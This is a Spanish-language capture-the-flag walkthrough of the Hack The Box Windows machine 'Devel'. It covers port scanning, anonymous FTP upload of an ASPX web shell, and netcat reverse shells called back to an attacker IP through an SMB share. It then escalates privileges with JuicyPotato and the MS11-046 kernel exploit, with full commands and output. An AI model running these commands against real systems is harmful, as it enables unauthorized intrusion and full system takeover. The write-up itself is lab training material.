Devel
Skills
- Abusing FTP + IIS Services
- Microsoft Windows (x86) – ‘afd.sys’ (MS11-046) [Privilege Escalation]
- Abusing SeImpersonatePrivilege (x86) - Juicy Potato [Privilege Escalation]
Certificaciones
- eJPT
- OSCP
Descripción
Devel
es una máquina easy windows
, nos autenticamos en el FTP
con el usuario anonymous
, subimos un archivo .aspx
para ejecutar comandos. Gracias a este RCE
(Remote Command Execution) nos mandamos una shell
a nuestro equipo
, una vez dentro explotamos
el SeImpersonatePrivilege
y ejecutamos un exploit
de kernel
, ambos nos garantizan una escalada de privilegios
Reconocimiento
Se comprueba que la máquina
está activa
y se determina su sistema operativo
, el ttl
de las máquinas windows
suele ser 128
, en este caso hay un nodo intermediario que hace que el ttl disminuya en una unidad
1
2
3
4
5
6
7
8
# ping 10.129.155.162
PING 10.129.155.162 (10.129.155.162) 56(84) bytes of data.
64 bytes from 10.129.155.162: icmp_seq=1 ttl=127 time=59.6 ms
64 bytes from 10.129.155.162: icmp_seq=2 ttl=127 time=108 ms
^C
--- 10.129.155.162 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 59.557/83.531/107.506/23.974 ms
Nmap
Se va a realizar un escaneo de todos los puertos
abiertos en el protocolo TCP
a través de nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# sudo nmap -p- --open --min-rate 5000 -sS -n -Pn -v 10.129.155.162 -oN openPorts
[sudo] password for justice-reaper:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-28 02:32 CEST
Initiating SYN Stealth Scan at 02:32
Scanning 10.129.155.162 [65535 ports]
Discovered open port 21/tcp on 10.129.155.162
Discovered open port 80/tcp on 10.129.155.162
Completed SYN Stealth Scan at 02:32, 26.68s elapsed (65535 total ports)
Nmap scan report for 10.129.155.162
Host is up (0.095s latency).
Not shown: 65533 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.74 seconds
Raw packets sent: 131087 (5.768MB) | Rcvd: 41 (2.657KB)
Se procede a realizar un análisis de detección
de servicios
y la identificación
de versiones
utilizando los puertos abiertos encontrados
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# nmap -sCV -p 21,80 10.129.155.162 -oN services
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-28 02:40 CEST
Nmap scan report for 10.129.155.162
Host is up (0.074s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17 02:06AM <DIR> aspnet_client
| 03-17-17 05:37PM 689 iisstart.htm
|_03-17-17 05:37PM 184946 welcome.png
80/tcp open http Microsoft IIS httpd 7.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: IIS7
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.90 seconds
FTP Enumeration
Como hay un IIS
al conectarnos por FTP
podemos ver las rutas
del IIS
, por lo tanto si podemos subir
un archivo
con extensión .asp
o .aspx
probablemente obtengamos ejecución remota de comandos
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# ftp 10.129.155.162
Connected to 10.129.155.162.
220 Microsoft FTP Service
Name (10.129.155.162:justice-reaper): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls -a
229 Entering Extended Passive Mode (|||49176|)
125 Data connection already open; Transfer starting.
03-18-17 02:06AM <DIR> aspnet_client
03-17-17 05:37PM 689 iisstart.htm
03-17-17 05:37PM 184946 welcome.png
226 Transfer complete.
ftp> cd aspnet_client
250 CWD command successful.
ftp> ls -a
229 Entering Extended Passive Mode (|||49178|)
125 Data connection already open; Transfer starting.
03-18-17 02:06AM <DIR> system_web
226 Transfer complete.
ftp> cd system_web
250 CWD command successful.
ftp> ls -a
229 Entering Extended Passive Mode (|||49180|)
125 Data connection already open; Transfer starting.
03-18-17 02:06AM <DIR> 2_0_50727
226 Transfer complete.
ftp> cd 2_0_50727
250 CWD command successful.
ftp> ls -a
229 Entering Extended Passive Mode (|||49182|)
125 Data connection already open; Transfer starting.
226 Transfer complete.
Abusing FTP
Localizamos cmdasp
y copiamos
estos archivos
en nuestro directorio actual
de trabajo desde el cual nos vamos a conectar
por FTP
1
2
3
4
5
6
# locate cmdasp
/usr/share/webshells/asp/cmdasp.asp
/usr/share/webshells/aspx/cmdasp.aspx
# cp /usr/share/webshells/asp/cmdasp.asp .
# cp /usr/share/webshells/aspx/cmdasp.aspx .
Subimos el archivo cmdasp.aspx
por FTP
, he probado a subirlo en los demás directorios pero solo me deja en este, además he usado al final el archivo .aspx
debido a que el .asp no me lo interpreta
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# ftp 10.129.155.162
Connected to 10.129.155.162.
220 Microsoft FTP Service
Name (10.129.155.162:justice-reaper): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> put cmdasp.aspx
local: cmdasp.aspx remote: cmdasp.aspx
229 Entering Extended Passive Mode (|||49200|)
125 Data connection already open; Transfer starting.
100% |******************************************************************************************************************************************| 1442 17.62 MiB/s --:-- ETA
226 Transfer complete.
1442 bytes sent in 00:00 (6.36 KiB/s)
Web Exploitation
Al acceder al http://10.129.155.162/cmdasp.aspx
probamos a ejecutar comandos
y funciona
Intrusión
Nos copiamos nc.exe
a nuestro directorio actual
de trabajo
1
2
3
4
5
# locate nc.exe
/usr/share/seclists/Web-Shells/FuzzDB/nc.exe
/usr/share/windows-resources/binaries/nc.exe
# cp /usr/share/seclists/Web-Shells/FuzzDB/nc.exe .
Nos montamos un servidor smb
en nuestro directorio actual
1
# impacket-smbserver smbFolder $(pwd) -smb2support
Nos ponemos en escucha
por el puerto 9993
con netcat
1
# nc -nlvp 9993
Desde la web ejecutamos
este payload
1
\\10.10.16.16\\smbFolder\nc.exe -e cmd 10.10.16.16 9993
Ganamos acceso a la máquina víctima
1
2
3
4
5
6
7
8
9
# nc -nlvp 9993
listening on [any] 9993 ...
connect to [10.10.16.16] from (UNKNOWN) [10.129.155.162] 49202
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
c:\windows\system32\inetsrv>whoami
whoami
iis apppool\web
Privilege Escalation (First Method)
Listamos
nuestros privilegios
actuales y vemos que SeImpersonatePrivilege
está activado por lo tanto podemos convertirnos
en el usuario Administrator
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
c:\windows\system32\inetsrv>whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeShutdownPrivilege Shut down the system Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
Listamos
la información
del sistema, para verificar si podemos utilizar JuicyPotato
para convertirnos en Administrator
o debemos usar una herramienta alternativas
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
c:\windows\system32\inetsrv>systeminfo
systeminfo
Host Name: DEVEL
OS Name: Microsoft Windows 7 Enterprise
OS Version: 6.1.7600 N/A Build 7600
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Workstation
OS Build Type: Multiprocessor Free
Registered Owner: babis
Registered Organization:
Product ID: 55041-051-0948536-86302
Original Install Date: 17/3/2017, 4:17:31 ��
System Boot Time: 28/7/2024, 3:30:22 ��
System Manufacturer: VMware, Inc.
System Model: VMware Virtual Platform
System Type: X86-based PC
Processor(s): 1 Processor(s) Installed.
[01]: x64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2595 Mhz
BIOS Version: Phoenix Technologies LTD 6.00, 12/11/2020
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: el;Greek
Input Locale: en-us;English (United States)
Time Zone: (UTC+02:00) Athens, Bucharest, Istanbul
Total Physical Memory: 3.071 MB
Available Physical Memory: 2.347 MB
Virtual Memory: Max Size: 6.141 MB
Virtual Memory: Available: 5.425 MB
Virtual Memory: In Use: 716 MB
Page File Location(s): C:\pagefile.sys
Domain: HTB
Logon Server: N/A
Hotfix(s): N/A
Network Card(s): 1 NIC(s) Installed.
[01]: Intel(R) PRO/1000 MT Network Connection
Connection Name: Local Area Connection 4
DHCP Enabled: Yes
DHCP Server: 10.129.0.1
IP address(es)
[01]: 10.129.155.162
[02]: fe80::11b7:e738:3f31:b822
[03]: dead:beef::d120:907d:57ca:f12f
[04]: dead:beef::11b7:e738:3f31:b822
Nos descargamos
el .exe
en nuestro equipo https://github.com/ivanitlearning/Juicy-Potato-x86/releases. En esta web https://ohpe.it/juicy-potato/CLSID/Windows_7_Enterprise/ podemos consultar los CLSID
disponibles para nuestra versión, que es Windows 7 Enterprise
, si uno no funciona debemos probar otro. Nos transferimos el nc.exe
y el JuicyPotato.exe
a la máquina víctima, para ello nos debemos montar un servidor smb
primero en el mismo directorio donde se encuentran estos archivos
1
# impacket-smbserver smbFolder $(pwd) -smb2support
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
c:\Windows\Temp\privesc>copy \\10.10.16.16\smbFolder\JuicyPotato.exe .
copy \\10.10.16.16\smbFolder\JuicyPotato.exe .
1 file(s) copied.
c:\Windows\Temp\privesc>copy \\10.10.16.16\smbFolder\nc.exe .
copy \\10.10.16.16\smbFolder\nc.exe .
1 file(s) copied.
c:\Windows\Temp\privesc>dir
dir
Volume in drive C has no label.
Volume Serial Number is 137F-3971
Directory of c:\Windows\Temp\privesc
28/07/2024 04:15 �� <DIR> .
28/07/2024 04:15 �� <DIR> ..
28/07/2024 04:11 �� 347.648 JuicyPotato.exe
28/07/2024 04:13 �� 28.160 nc.exe
2 File(s) 375.808 bytes
2 Dir(s) 4.641.300.480 bytes free
Nos ponemos en escucha
con netcat
por el puerto 9001
1
# nc nlvp 9001
Ejecutamos el JuicyPotato
en la máquina víctima
1
2
3
4
5
6
7
8
9
10
Juicy.Potato.x86.exe -l 1337 -c "{9B1F122C-2982-4e91-AA8B-E071D54F2A4D}" -p C:\Windows\System32\cmd.exe -a "/c C:\Windows\Temp\privesc\nc.exe -e cmd.exe 10.10.16.16 9001" -t *
Juicy.Potato.x86.exe -l 1337 -c "{9B1F122C-2982-4e91-AA8B-E071D54F2A4D}" -p C:\Windows\System32\cmd.exe -a "/c C:\Windows\Temp\privesc\nc.exe -e cmd.exe 10.10.16.16 9001" -t *
Testing {9B1F122C-2982-4e91-AA8B-E071D54F2A4D} 1337
......
[+] authresult 0
{9B1F122C-2982-4e91-AA8B-E071D54F2A4D};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
c:\Windows\Temp\privesc>
Nos convertimos en el usuario Administrator
1
2
3
4
5
6
7
8
9
# nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.10.16.16] from (UNKNOWN) [10.129.155.162] 49214
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
Privilege Escalation (Second Method)
Listamos
los privilegios
del sistema
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
c:\windows\system32\inetsrv>systeminfo
systeminfo
Host Name: DEVEL
OS Name: Microsoft Windows 7 Enterprise
OS Version: 6.1.7600 N/A Build 7600
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Workstation
OS Build Type: Multiprocessor Free
Registered Owner: babis
Registered Organization:
Product ID: 55041-051-0948536-86302
Original Install Date: 17/3/2017, 4:17:31 ��
System Boot Time: 28/7/2024, 3:30:22 ��
System Manufacturer: VMware, Inc.
System Model: VMware Virtual Platform
System Type: X86-based PC
Processor(s): 1 Processor(s) Installed.
[01]: x64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2595 Mhz
BIOS Version: Phoenix Technologies LTD 6.00, 12/11/2020
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: el;Greek
Input Locale: en-us;English (United States)
Time Zone: (UTC+02:00) Athens, Bucharest, Istanbul
Total Physical Memory: 3.071 MB
Available Physical Memory: 2.347 MB
Virtual Memory: Max Size: 6.141 MB
Virtual Memory: Available: 5.425 MB
Virtual Memory: In Use: 716 MB
Page File Location(s): C:\pagefile.sys
Domain: HTB
Logon Server: N/A
Hotfix(s): N/A
Network Card(s): 1 NIC(s) Installed.
[01]: Intel(R) PRO/1000 MT Network Connection
Connection Name: Local Area Connection 4
DHCP Enabled: Yes
DHCP Server: 10.129.0.1
IP address(es)
[01]: 10.129.155.162
[02]: fe80::11b7:e738:3f31:b822
[03]: dead:beef::d120:907d:57ca:f12f
[04]: dead:beef::11b7:e738:3f31:b822
La versión del sistema operativo OS Version: 6.1.7600 N/A Build 7600
es vulnerable
al parecer, he estado investigando y he encontrado este exploit https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS11-046/ms11-046.exe. Para transferirlo
a la máquina víctima nos montar un servidor SMB
en el mismo directorio
del exploit
1
# impacket-smbserver smbFolder $(pwd) -smb2support
Nos descargamos
el binario
en la máquina víctima
1
2
3
C:\Windows\Temp\privesc>copy \\10.10.16.16\smbFolder\ms11-046.exe
copy \\10.10.16.16\smbFolder\ms11-046.exe
1 file(s) copied.
Ejecutamos
el exploit
y nos convertimos en nt authority\system
1
2
3
4
5
6
7
8
9
10
C:\Windows\Temp\privesc>copy \\10.10.16.16\smbFolder\ms11-046.exe
copy \\10.10.16.16\smbFolder\ms11-046.exe
1 file(s) copied.
C:\Windows\Temp\privesc>ms11-046.exe
ms11-046.exe
c:\Windows\System32>whoami
whoami
nt authority\system